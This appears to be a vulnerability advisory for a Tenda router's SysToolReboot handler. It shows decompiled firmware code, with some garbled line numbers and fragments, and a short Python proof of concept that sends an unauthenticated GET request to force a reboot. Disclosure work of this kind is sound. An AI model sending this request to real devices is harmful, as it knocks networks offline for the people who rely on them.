

```
1 int fastcall fromSysToolReboot(int a1)
    char v3[12]; // [sp+4h] [bp-2A4h] BYREF
   char v4[128]; // [sp+10h] [bp-298h] BYREF
   char s[256]; // [sp+90h] [bp-218h] BYREF
6 char v6[280]; // [sp+190h] [bp-118h] BYREF
8 memset(s, 0, sizeof(s));
9 memset(v6, 0, 0x100u);
10 sprintf(v3, "%d", 0);
11 SetValue("system_op_type", v3);
   sub_50640(a1, "/redirect.html?3");
13 syslog(5, "System reboot\n");
sprintf(v4, "logread |grep -v radvd >> %s", "/data/logs.txt");
15  prctl runCommandInShellBlocking(v4);
16 strcpy(v6, "ubus call ctcapd.tenda.pd device_reboot '{\"value\":\"reboot\"}'");
   printf("[%d]set Action:%s\n", 64, v6);
17
18 system(v6);
   sleep(1u);
19
20 sprintf(s, "op=%d", 3);
21 return send_msg_to_netctrl(3, s);
22 }
```

It allows remote attackers to reboot the device and cause denial of service via a payload hosted by an attacker-controlled web page.

POC and repetition

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by qemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
import requests

url = "http://192.168.23.133/goform/SysToolReboot"

r = requests.get(url)

print(r.content)
```

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack.

